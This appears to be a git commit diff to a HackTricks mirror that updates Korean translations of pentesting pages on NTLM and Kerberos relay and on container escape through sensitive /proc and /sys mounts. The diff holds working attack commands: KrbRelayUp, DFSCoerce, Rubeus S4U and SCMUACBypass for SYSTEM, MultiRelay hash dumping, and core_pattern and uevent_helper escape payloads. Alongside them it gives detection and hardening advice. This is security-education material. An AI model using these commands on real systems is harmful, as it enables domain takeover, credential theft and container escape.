mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
2266ec8f89
commit
72a07cbc51
@ -316,6 +316,7 @@
|
||||
- [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md)
|
||||
- [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md)
|
||||
- [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md)
|
||||
- [Flutter](mobile-pentesting/android-app-pentesting/flutter.md)
|
||||
- [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md)
|
||||
- [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md)
|
||||
- [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md)
|
||||
@ -342,6 +343,7 @@
|
||||
- [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md)
|
||||
- [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md)
|
||||
- [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md)
|
||||
- [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md)
|
||||
- [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md)
|
||||
- [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md)
|
||||
- [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md)
|
||||
|
||||
@ -9,7 +9,7 @@
|
||||
- **LLMNR, NBT-NS, 및 mDNS**:
|
||||
- Microsoft 및 기타 운영 체제는 DNS가 실패할 때 로컬 이름 해상을 위해 LLMNR 및 NBT-NS를 사용합니다. 유사하게, Apple 및 Linux 시스템은 mDNS를 사용합니다.
|
||||
- 이러한 프로토콜은 UDP를 통한 인증되지 않은 브로드캐스트 특성으로 인해 가로채기 및 스푸핑에 취약합니다.
|
||||
- [Responder](https://github.com/lgandx/Responder)는 이러한 프로토콜을 쿼리하는 호스트에 위조된 응답을 전송하여 서비스를 가장하는 데 사용할 수 있습니다.
|
||||
- [Responder](https://github.com/lgandx/Responder)는 이러한 프로토콜을 쿼리하는 호스트에 위조된 응답을 보내 서비스로 가장하는 데 사용할 수 있습니다.
|
||||
- Responder를 사용한 서비스 가장에 대한 추가 정보는 [여기](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)에서 확인할 수 있습니다.
|
||||
|
||||
### 웹 프록시 자동 검색 프로토콜 (WPAD)
|
||||
@ -29,7 +29,7 @@
|
||||
#### Responder 실행
|
||||
|
||||
- 기본 설정으로 Responder를 실행하려면: `responder -I <Interface>`
|
||||
- 더 공격적인 탐색을 위해 (잠재적인 부작용 포함): `responder -I <Interface> -P -r -v`
|
||||
- 더 공격적인 탐색을 위해 (부작용이 있을 수 있음): `responder -I <Interface> -P -r -v`
|
||||
- NTLMv1 챌린지/응답을 캡처하여 더 쉽게 크랙할 수 있는 기술: `responder -I <Interface> --lm --disable-ess`
|
||||
- WPAD 가장을 활성화하려면: `responder -I <Interface> --wpad`
|
||||
- NetBIOS 요청을 공격자의 IP로 해결하고 인증 프록시를 설정할 수 있습니다: `responder.py -I <interface> -Pv`
|
||||
@ -41,7 +41,7 @@
|
||||
- 공격 실행: `./Responder.py -I eth0 -Pdv`
|
||||
- 이 방법은 NTLMv1/2 해시를 효과적으로 캡처할 수 있지만, 네트워크 중단을 피하기 위해 신중한 처리가 필요합니다.
|
||||
|
||||
### Responder로 자격 증명 캡처
|
||||
### Responder를 이용한 자격 증명 캡처
|
||||
|
||||
- Responder는 위에서 언급한 프로토콜을 사용하여 서비스를 가장하고, 사용자가 스푸핑된 서비스에 대해 인증을 시도할 때 자격 증명(주로 NTLMv2 챌린지/응답)을 캡처합니다.
|
||||
- NetNTLMv1로 다운그레이드하거나 ESS를 비활성화하여 자격 증명 크랙을 쉽게 할 수 있는 시도를 할 수 있습니다.
|
||||
@ -60,18 +60,18 @@ C# 바이너리로 실행됨:
|
||||
```bash
|
||||
Inveigh.exe
|
||||
```
|
||||
### NTLM Relay Attack
|
||||
### NTLM 릴레이 공격
|
||||
|
||||
이 공격은 SMB 인증 세션을 활용하여 대상 머신에 접근하며, 성공할 경우 시스템 셸을 부여합니다. 주요 전제 조건은 다음과 같습니다:
|
||||
|
||||
- 인증하는 사용자는 중계된 호스트에서 로컬 관리자 권한을 가져야 합니다.
|
||||
- SMB 서명이 비활성화되어야 합니다.
|
||||
- 인증하는 사용자가 릴레이된 호스트에서 로컬 관리자 권한을 가져야 합니다.
|
||||
- SMB 서명이 비활성화되어 있어야 합니다.
|
||||
|
||||
#### 445 포트 포워딩 및 터널링
|
||||
|
||||
직접적인 네트워크 소개가 불가능한 시나리오에서는 445 포트의 트래픽을 포워딩하고 터널링해야 합니다. [**PortBender**](https://github.com/praetorian-inc/PortBender)와 같은 도구는 445 포트 트래픽을 다른 포트로 리디렉션하는 데 도움을 주며, 이는 드라이버 로딩을 위한 로컬 관리자 접근이 가능할 때 필수적입니다.
|
||||
|
||||
PortBender 설정 및 Cobalt Strike에서의 작동:
|
||||
Cobalt Strike에서 PortBender 설정 및 작동:
|
||||
```bash
|
||||
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
|
||||
|
||||
@ -89,9 +89,9 @@ beacon> socks stop
|
||||
```
|
||||
### NTLM 릴레이 공격을 위한 기타 도구
|
||||
|
||||
- **Metasploit**: 프록시, 로컬 및 원격 호스트 세부정보로 설정합니다.
|
||||
- **smbrelayx**: SMB 세션을 릴레이하고 명령을 실행하거나 백도어를 배포하는 Python 스크립트입니다.
|
||||
- **MultiRelay**: 특정 사용자 또는 모든 사용자를 릴레이하고, 명령을 실행하거나 해시를 덤프하는 Responder 스위트의 도구입니다.
|
||||
- **Metasploit**: 프록시, 로컬 및 원격 호스트 세부정보로 설정.
|
||||
- **smbrelayx**: SMB 세션을 릴레이하고 명령을 실행하거나 백도어를 배포하는 Python 스크립트.
|
||||
- **MultiRelay**: 특정 사용자 또는 모든 사용자를 릴레이하고, 명령을 실행하거나 해시를 덤프하는 Responder 스위트의 도구.
|
||||
|
||||
각 도구는 필요에 따라 SOCKS 프록시를 통해 작동하도록 구성할 수 있어, 간접 네트워크 액세스가 있는 경우에도 공격이 가능합니다.
|
||||
|
||||
@ -109,13 +109,117 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
|
||||
|
||||
### NTLM 로그인 강제화
|
||||
|
||||
Windows에서는 **일부 권한이 있는 계정이 임의의 머신에 인증하도록 강제할 수 있습니다**. 방법을 배우려면 다음 페이지를 읽으십시오:
|
||||
Windows에서는 **일부 특권 계정이 임의의 머신에 인증하도록 강제할 수 있습니다**. 방법을 배우려면 다음 페이지를 읽으십시오:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
## 참고자료
|
||||
## Kerberos Relay 공격
|
||||
|
||||
**Kerberos relay 공격**은 한 서비스에서 **AP-REQ 티켓**을 훔쳐서 **같은 컴퓨터 계정 키**를 공유하는 두 번째 서비스에 재사용합니다 (두 SPN이 같은 `$` 머신 계정에 있기 때문입니다). SPN의 **서비스 클래스가 다르더라도** (예: `CIFS/` → `LDAP/`) 티켓을 해독하는 *키*는 머신의 NT 해시이므로 SPN 문자열 자체가 아니라 SPN 문자열은 서명의 일부가 아닙니다.
|
||||
|
||||
NTLM relay와 달리, 홉은 *같은 호스트*로 제한되지만, LDAP에 쓸 수 있는 프로토콜을 목표로 하면 **자원 기반 제약 위임 (RBCD)** 또는 **AD CS 등록**으로 체인할 수 있으며, 한 번에 **NT AUTHORITY\SYSTEM**을 팝할 수 있습니다.
|
||||
|
||||
이 공격에 대한 자세한 정보는 다음을 확인하십시오:
|
||||
|
||||
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
|
||||
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
|
||||
|
||||
- 1. **Kerberos 기본 사항**
|
||||
|
||||
| 토큰 | 목적 | 릴레이 관련성 |
|
||||
|-------|---------|-----------------|
|
||||
| **TGT / AS-REQ ↔ REP** | KDC에 사용자 증명 | 손대지 않음 |
|
||||
| **서비스 티켓 / TGS-REQ ↔ REP** | 하나의 **SPN**에 바인딩; SPN 소유자의 키로 암호화됨 | SPN이 계정을 공유하면 교환 가능 |
|
||||
| **AP-REQ** | 클라이언트가 `TGS`를 서비스에 전송 | **우리가 훔치고 재생하는 것** |
|
||||
|
||||
* 티켓은 **SPN을 소유한 계정의 비밀번호 유도 키**로 암호화됩니다.
|
||||
* AP-REQ 내부의 **인증자**는 5분 타임스탬프를 가지고 있으며, 그 창 내에서 재생은 서비스 캐시가 중복을 감지할 때까지 유효합니다.
|
||||
* Windows는 티켓의 SPN 문자열이 당신이 접근하는 서비스와 일치하는지 거의 확인하지 않으므로, `CIFS/HOST`에 대한 티켓은 일반적으로 `LDAP/HOST`에서 잘 해독됩니다.
|
||||
|
||||
- 2. **Kerberos를 릴레이하기 위해 반드시 사실이어야 하는 것들**
|
||||
|
||||
1. **공유 키:** 출처 및 대상 SPN이 동일한 컴퓨터 계정에 속함 (Windows 서버의 기본값).
|
||||
2. **채널 보호 없음:** SMB/LDAP 서명 해제 및 HTTP/LDAPS에 대해 EPA 해제.
|
||||
3. **인증을 가로채거나 강제할 수 있음:** LLMNR/NBNS 중독, DNS 스푸핑, **PetitPotam / DFSCoerce RPC**, 가짜 AuthIP, 악성 DCOM 등.
|
||||
4. **티켓 출처가 이미 사용되지 않음:** 실제 패킷이 도달하기 전에 경주에서 이기거나 완전히 차단; 그렇지 않으면 서버의 재생 캐시가 이벤트 4649를 발생시킵니다.
|
||||
5. 통신에서 **MitM을 수행할 수 있어야 함**; 도메인의 DNS를 수정하기 위해 DNSAmins 그룹의 일원이거나 피해자의 HOST 파일을 변경할 수 있어야 합니다.
|
||||
|
||||
### Kerberos Relay 단계
|
||||
|
||||
- 3.1 **호스트 정찰**
|
||||
```powershell
|
||||
# find servers where HTTP, LDAP or CIFS share the same machine account
|
||||
Get-ADComputer -Filter * -Properties servicePrincipalName |
|
||||
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
|
||||
Select Name,servicePrincipalName
|
||||
```
|
||||
- 3.2 **릴레이 리스너 시작하기**
|
||||
|
||||
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
|
||||
```powershell
|
||||
# one-click local SYSTEM via RBCD
|
||||
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
|
||||
```
|
||||
`KrbRelayUp`는 **KrbRelay → LDAP → RBCD → Rubeus → SCM 우회**를 하나의 바이너리로 묶습니다.
|
||||
|
||||
- 3.3 **Kerberos 인증 강제**
|
||||
```powershell
|
||||
# coerce DC to auth over SMB with DFSCoerce
|
||||
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
|
||||
```
|
||||
DFSCoerce는 DC가 Kerberos `CIFS/DC01` 티켓을 우리에게 보내도록 만듭니다.
|
||||
|
||||
- 3.4 **AP-REQ 중계**
|
||||
|
||||
KrbRelay는 SMB에서 GSS 블롭을 추출하고, 이를 LDAP 바인드로 재포장한 후 `ldap://DC01`로 전달합니다. 인증은 **같은 키**로 이를 복호화하기 때문에 성공합니다.
|
||||
|
||||
- 3.5 **LDAP 남용 ➜ RBCD ➜ SYSTEM**
|
||||
```powershell
|
||||
# (auto inside KrbRelayUp) manual for clarity
|
||||
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
|
||||
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
|
||||
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
|
||||
SCMUACBypass.exe
|
||||
```
|
||||
당신은 이제 **NT AUTHORITY\SYSTEM**을 소유하고 있습니다.
|
||||
|
||||
|
||||
### **알아두면 좋은 추가 경로**
|
||||
|
||||
| 벡터 | 트릭 | 중요성 |
|
||||
|--------|-------|----------------|
|
||||
| **AuthIP / IPSec** | 가짜 서버가 임의의 SPN과 함께 **GSS-ID 페이로드**를 전송; 클라이언트가 당신에게 직접 AP-REQ를 생성 | 서브넷 간에도 작동; 기본적으로 머신 자격 증명 |
|
||||
| **DCOM / MSRPC** | 악의적인 OXID 해석기가 클라이언트가 임의의 SPN 및 포트에 인증하도록 강제 | 순수 *로컬* 권한 상승; 방화벽을 우회 |
|
||||
| **AD CS Web Enroll** | `HTTP/CA`에 머신 티켓을 릴레이하고 인증서를 받은 후 **PKINIT**로 TGT를 발급 | LDAP 서명 방어를 우회 |
|
||||
| **Shadow Credentials** | `msDS-KeyCredentialLink`를 작성한 후 위조된 키 쌍으로 PKINIT | 컴퓨터 계정을 추가할 필요 없음 |
|
||||
|
||||
### **문제 해결**
|
||||
|
||||
| 오류 | 의미 | 수정 |
|
||||
|-------|---------|-----|
|
||||
| `KRB_AP_ERR_MODIFIED` | 티켓 키 ≠ 대상 키 | 잘못된 호스트/SPN |
|
||||
| `KRB_AP_ERR_SKEW` | 시계 > 5분 오프셋 | 시간 동기화 또는 `w32tm` 사용 |
|
||||
| LDAP 바인드 실패 | 서명 강제 | AD CS 경로 사용 또는 서명 비활성화 |
|
||||
| 이벤트 4649 스팸 | 서비스가 중복 인증자를 감지함 | 원본 패킷 차단 또는 경합 |
|
||||
|
||||
### **탐지**
|
||||
|
||||
* 몇 초 이내에 동일한 출처에서 **Event 4769**의 급증.
|
||||
* 서비스에서 **Event 4649**는 재전송이 감지되었음을 나타냄.
|
||||
* **127.0.0.1**에서의 Kerberos 로그온(로컬 SCM으로 릴레이)은 매우 의심스러움—KrbRelayUp 문서의 Sigma 규칙을 통해 매핑.
|
||||
* `msDS-AllowedToActOnBehalfOfOtherIdentity` 또는 `msDS-KeyCredentialLink` 속성의 변경 사항을 주의 깊게 살펴보세요.
|
||||
|
||||
## **강화**
|
||||
|
||||
1. 모든 서버에서 **LDAP 및 SMB 서명 + EPA**를 강제합니다.
|
||||
2. **SPN을 분리**하여 HTTP가 CIFS/LDAP와 동일한 계정에 있지 않도록 합니다.
|
||||
3. 강제 벡터를 패치합니다 (PetitPotam KB5005413, DFS, AuthIP).
|
||||
4. **`ms-DS-MachineAccountQuota = 0`**로 설정하여 악성 컴퓨터 가입을 방지합니다.
|
||||
5. **Event 4649** 및 예상치 못한 루프백 Kerberos 로그온에 대해 경고합니다.
|
||||
|
||||
## References
|
||||
|
||||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
|
||||
|
||||
@ -2,68 +2,80 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
`/proc`, `/sys`, 및 `/var`의 노출은 적절한 네임스페이스 격리 없이 상당한 보안 위험을 초래하며, 공격 표면 확대 및 정보 유출을 포함합니다. 이러한 디렉토리는 민감한 파일을 포함하고 있으며, 잘못 구성되거나 무단 사용자가 접근할 경우 컨테이너 탈출, 호스트 수정 또는 추가 공격에 도움이 되는 정보를 제공할 수 있습니다. 예를 들어, `-v /proc:/host/proc`를 잘못 마운트하면 경로 기반 특성으로 인해 AppArmor 보호를 우회할 수 있으며, `/host/proc`가 보호되지 않게 됩니다.
|
||||
`/proc`, `/sys`, 및 `/var`의 적절한 네임스페이스 격리 없이 노출되면 공격 표면 확대 및 정보 유출을 포함한 상당한 보안 위험이 발생합니다. 이러한 디렉토리는 민감한 파일을 포함하고 있으며, 잘못 구성되거나 무단 사용자가 접근할 경우 컨테이너 탈출, 호스트 수정 또는 추가 공격에 도움이 되는 정보를 제공할 수 있습니다. 예를 들어, `-v /proc:/host/proc`를 잘못 마운트하면 경로 기반 특성으로 인해 AppArmor 보호를 우회할 수 있으며, `/host/proc`가 보호되지 않게 됩니다.
|
||||
|
||||
**각 잠재적 취약점에 대한 자세한 내용은** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**에서 확인할 수 있습니다.**
|
||||
**각 잠재적 취약점에 대한 추가 세부정보는** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**에서 확인할 수 있습니다.**
|
||||
|
||||
## procfs Vulnerabilities
|
||||
|
||||
### `/proc/sys`
|
||||
|
||||
이 디렉토리는 일반적으로 `sysctl(2)`를 통해 커널 변수를 수정할 수 있는 접근을 허용하며, 여러 개의 하위 디렉토리가 있습니다:
|
||||
이 디렉토리는 일반적으로 `sysctl(2)`를 통해 커널 변수를 수정할 수 있는 접근을 허용하며, 여러 개의 우려되는 하위 디렉토리를 포함합니다:
|
||||
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html)에서 설명됨.
|
||||
- 코어 파일 생성 시 실행할 프로그램을 정의할 수 있으며, 첫 128 바이트가 인수로 사용됩니다. 파일이 파이프 `|`로 시작하면 코드 실행으로 이어질 수 있습니다.
|
||||
- 이 파일에 쓸 수 있다면, 파이프 `|` 뒤에 프로그램이나 스크립트의 경로를 작성하여 충돌이 발생한 후 실행되도록 할 수 있습니다.
|
||||
- 공격자는 `mount`를 실행하여 호스트 내에서 자신의 컨테이너로의 경로를 찾고, 그 경로를 자신의 컨테이너 파일 시스템 내의 바이너리에 쓸 수 있습니다. 그런 다음 프로그램을 충돌시켜 커널이 컨테이너 외부에서 바이너리를 실행하도록 만들 수 있습니다.
|
||||
|
||||
- **테스트 및 악용 예시**:
|
||||
|
||||
```bash
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # 쓰기 접근 테스트
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
|
||||
cd /proc/sys/kernel
|
||||
echo "|$overlay/shell.sh" > core_pattern # 사용자 정의 핸들러 설정
|
||||
sleep 5 && ./crash & # 핸들러 트리거
|
||||
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
|
||||
sleep 5 && ./crash & # Trigger handler
|
||||
```
|
||||
이 게시물에서 더 많은 정보를 확인하세요: [this post](https://pwning.systems/posts/escaping-containers-for-fun/).
|
||||
|
||||
충돌하는 예제 프로그램:
|
||||
```c
|
||||
int main(void) {
|
||||
char buf[1];
|
||||
for (int i = 0; i < 100; i++) {
|
||||
buf[i] = 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
#### **`/proc/sys/kernel/modprobe`**
|
||||
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 자세히 설명됨.
|
||||
- 커널 모듈 로더의 경로를 포함하며, 커널 모듈을 로드하기 위해 호출됩니다.
|
||||
- **접근 확인 예시**:
|
||||
- 커널 모듈을 로드하기 위해 호출되는 커널 모듈 로더의 경로를 포함함.
|
||||
- **접근 확인 예제**:
|
||||
|
||||
```bash
|
||||
ls -l $(cat /proc/sys/kernel/modprobe) # modprobe 접근 확인
|
||||
ls -l $(cat /proc/sys/kernel/modprobe) # modprobe에 대한 접근 확인
|
||||
```
|
||||
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 참조됨.
|
||||
- OOM 조건이 발생할 때 커널이 패닉을 일으키거나 OOM 킬러를 호출할지를 제어하는 전역 플래그입니다.
|
||||
- OOM 조건이 발생할 때 커널이 패닉을 일으키거나 OOM 킬러를 호출할지를 제어하는 전역 플래그.
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에 따르면, 파일 시스템에 대한 옵션 및 정보를 포함합니다.
|
||||
- 쓰기 접근은 호스트에 대한 다양한 서비스 거부 공격을 가능하게 할 수 있습니다.
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에 따라 파일 시스템에 대한 옵션과 정보를 포함함.
|
||||
- 쓰기 접근은 호스트에 대한 다양한 서비스 거부 공격을 가능하게 할 수 있음.
|
||||
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
- 매직 넘버에 따라 비네이티브 이진 형식에 대한 해석기를 등록할 수 있습니다.
|
||||
- `/proc/sys/fs/binfmt_misc/register`가 쓰기 가능할 경우 권한 상승 또는 루트 쉘 접근으로 이어질 수 있습니다.
|
||||
- 관련된 악용 및 설명:
|
||||
- 매직 넘버에 따라 비네이티브 이진 형식에 대한 인터프리터를 등록할 수 있음.
|
||||
- `/proc/sys/fs/binfmt_misc/register`가 쓰기 가능할 경우 권한 상승 또는 루트 셸 접근으로 이어질 수 있음.
|
||||
- 관련된 익스플로잇 및 설명:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- 심층 튜토리얼: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
- 심층 튜토리얼: [비디오 링크](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### Others in `/proc`
|
||||
### `/proc`의 기타 항목
|
||||
|
||||
#### **`/proc/config.gz`**
|
||||
|
||||
- `CONFIG_IKCONFIG_PROC`가 활성화된 경우 커널 구성을 노출할 수 있습니다.
|
||||
- 공격자가 실행 중인 커널의 취약점을 식별하는 데 유용합니다.
|
||||
- `CONFIG_IKCONFIG_PROC`가 활성화된 경우 커널 구성을 드러낼 수 있음.
|
||||
- 공격자가 실행 중인 커널의 취약점을 식별하는 데 유용함.
|
||||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
||||
- Sysrq 명령을 호출할 수 있으며, 즉각적인 시스템 재부팅 또는 기타 중요한 작업을 유발할 수 있습니다.
|
||||
- **호스트 재부팅 예시**:
|
||||
- Sysrq 명령을 호출할 수 있으며, 즉각적인 시스템 재부팅 또는 기타 중요한 작업을 유발할 수 있음.
|
||||
- **호스트 재부팅 예제**:
|
||||
|
||||
```bash
|
||||
echo b > /proc/sysrq-trigger # 호스트 재부팅
|
||||
@ -71,62 +83,62 @@ echo b > /proc/sysrq-trigger # 호스트 재부팅
|
||||
|
||||
#### **`/proc/kmsg`**
|
||||
|
||||
- 커널 링 버퍼 메시지를 노출합니다.
|
||||
- 커널 악용, 주소 유출 및 민감한 시스템 정보를 제공하는 데 도움이 될 수 있습니다.
|
||||
- 커널 링 버퍼 메시지를 노출함.
|
||||
- 커널 익스플로잇, 주소 유출 및 민감한 시스템 정보를 제공하는 데 도움이 될 수 있음.
|
||||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
- 커널에서 내보낸 심볼과 그 주소를 나열합니다.
|
||||
- KASLR을 극복하기 위한 커널 악용 개발에 필수적입니다.
|
||||
- 주소 정보는 `kptr_restrict`가 `1` 또는 `2`로 설정된 경우 제한됩니다.
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 자세한 내용.
|
||||
- 커널에서 내보낸 심볼과 그 주소를 나열함.
|
||||
- KASLR을 극복하기 위한 커널 익스플로잇 개발에 필수적임.
|
||||
- 주소 정보는 `kptr_restrict`가 `1` 또는 `2`로 설정된 경우 제한됨.
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 자세히 설명됨.
|
||||
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
||||
- 커널 메모리 장치 `/dev/mem`와 인터페이스합니다.
|
||||
- 역사적으로 권한 상승 공격에 취약했습니다.
|
||||
- 커널 메모리 장치 `/dev/mem`와 인터페이스함.
|
||||
- 역사적으로 권한 상승 공격에 취약함.
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)에서 더 많은 정보.
|
||||
|
||||
#### **`/proc/kcore`**
|
||||
|
||||
- 시스템의 물리적 메모리를 ELF 코어 형식으로 나타냅니다.
|
||||
- 읽기는 호스트 시스템 및 다른 컨테이너의 메모리 내용을 유출할 수 있습니다.
|
||||
- 큰 파일 크기는 읽기 문제나 소프트웨어 충돌을 초래할 수 있습니다.
|
||||
- [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)에서 자세한 사용법.
|
||||
- 시스템의 물리적 메모리를 ELF 코어 형식으로 나타냄.
|
||||
- 읽기는 호스트 시스템 및 다른 컨테이너의 메모리 내용을 유출할 수 있음.
|
||||
- 큰 파일 크기는 읽기 문제나 소프트웨어 충돌을 초래할 수 있음.
|
||||
- [2019년 /proc/kcore 덤프하기](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)에서 자세한 사용법.
|
||||
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
- 커널 가상 메모리를 나타내는 `/dev/kmem`의 대체 인터페이스입니다.
|
||||
- 읽기 및 쓰기를 허용하므로 커널 메모리를 직접 수정할 수 있습니다.
|
||||
- 커널 가상 메모리를 나타내는 `/dev/kmem`의 대체 인터페이스.
|
||||
- 읽기 및 쓰기를 허용하여 커널 메모리를 직접 수정할 수 있음.
|
||||
|
||||
#### **`/proc/mem`**
|
||||
|
||||
- 물리적 메모리를 나타내는 `/dev/mem`의 대체 인터페이스입니다.
|
||||
- 읽기 및 쓰기를 허용하며, 모든 메모리 수정을 위해서는 가상 주소를 물리 주소로 변환해야 합니다.
|
||||
- 물리적 메모리를 나타내는 `/dev/mem`의 대체 인터페이스.
|
||||
- 읽기 및 쓰기를 허용하며, 모든 메모리 수정을 위해서는 가상 주소를 물리 주소로 변환해야 함.
|
||||
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
- 프로세스 스케줄링 정보를 반환하며, PID 네임스페이스 보호를 우회합니다.
|
||||
- 프로세스 이름, ID 및 cgroup 식별자를 노출합니다.
|
||||
- PID 네임스페이스 보호를 우회하여 프로세스 스케줄링 정보를 반환함.
|
||||
- 프로세스 이름, ID 및 cgroup 식별자를 노출함.
|
||||
|
||||
#### **`/proc/[pid]/mountinfo`**
|
||||
|
||||
- 프로세스의 마운트 네임스페이스에서 마운트 지점에 대한 정보를 제공합니다.
|
||||
- 컨테이너 `rootfs` 또는 이미지의 위치를 노출합니다.
|
||||
- 프로세스의 마운트 네임스페이스 내의 마운트 지점에 대한 정보를 제공함.
|
||||
- 컨테이너 `rootfs` 또는 이미지의 위치를 노출함.
|
||||
|
||||
### `/sys` Vulnerabilities
|
||||
### `/sys` 취약점
|
||||
|
||||
#### **`/sys/kernel/uevent_helper`**
|
||||
|
||||
- 커널 장치 `uevents`를 처리하는 데 사용됩니다.
|
||||
- `/sys/kernel/uevent_helper`에 쓰면 `uevent` 트리거 시 임의의 스크립트를 실행할 수 있습니다.
|
||||
- **악용 예시**: %%%bash
|
||||
- 커널 장치 `uevents`를 처리하는 데 사용됨.
|
||||
- `/sys/kernel/uevent_helper`에 쓰면 `uevent` 트리거 시 임의의 스크립트를 실행할 수 있음.
|
||||
- **익스플로잇 예제**: %%%bash
|
||||
|
||||
#### 페이로드 생성
|
||||
|
||||
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
|
||||
|
||||
#### 컨테이너의 OverlayFS 마운트에서 호스트 경로 찾기
|
||||
#### 컨테이너를 위한 OverlayFS 마운트에서 호스트 경로 찾기
|
||||
|
||||
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
|
||||
|
||||
@ -144,30 +156,32 @@ cat /output %%%
|
||||
|
||||
#### **`/sys/class/thermal`**
|
||||
|
||||
- 온도 설정을 제어하며, 서비스 거부 공격이나 물리적 손상을 초래할 수 있습니다.
|
||||
- 온도 설정을 제어하며, 서비스 거부 공격이나 물리적 손상을 초래할 수 있음.
|
||||
|
||||
#### **`/sys/kernel/vmcoreinfo`**
|
||||
|
||||
- 커널 주소를 유출하여 KASLR을 손상시킬 수 있습니다.
|
||||
- 커널 주소를 유출하여 KASLR을 손상시킬 수 있음.
|
||||
|
||||
#### **`/sys/kernel/security`**
|
||||
|
||||
- Linux 보안 모듈(AppArmor 등)의 구성을 허용하는 `securityfs` 인터페이스를 포함합니다.
|
||||
- 접근이 가능하면 컨테이너가 자신의 MAC 시스템을 비활성화할 수 있습니다.
|
||||
- Linux 보안 모듈(AppArmor 등)의 구성을 허용하는 `securityfs` 인터페이스를 포함함.
|
||||
- 접근이 가능하면 컨테이너가 자신의 MAC 시스템을 비활성화할 수 있음.
|
||||
|
||||
#### **`/sys/firmware/efi/vars` 및 `/sys/firmware/efi/efivars`**
|
||||
|
||||
- NVRAM에서 EFI 변수를 상호작용하기 위한 인터페이스를 노출합니다.
|
||||
- 잘못된 구성이나 악용은 노트북이 벽돌이 되거나 부팅할 수 없는 호스트 머신으로 이어질 수 있습니다.
|
||||
- NVRAM에서 EFI 변수와 상호작용하기 위한 인터페이스를 노출함.
|
||||
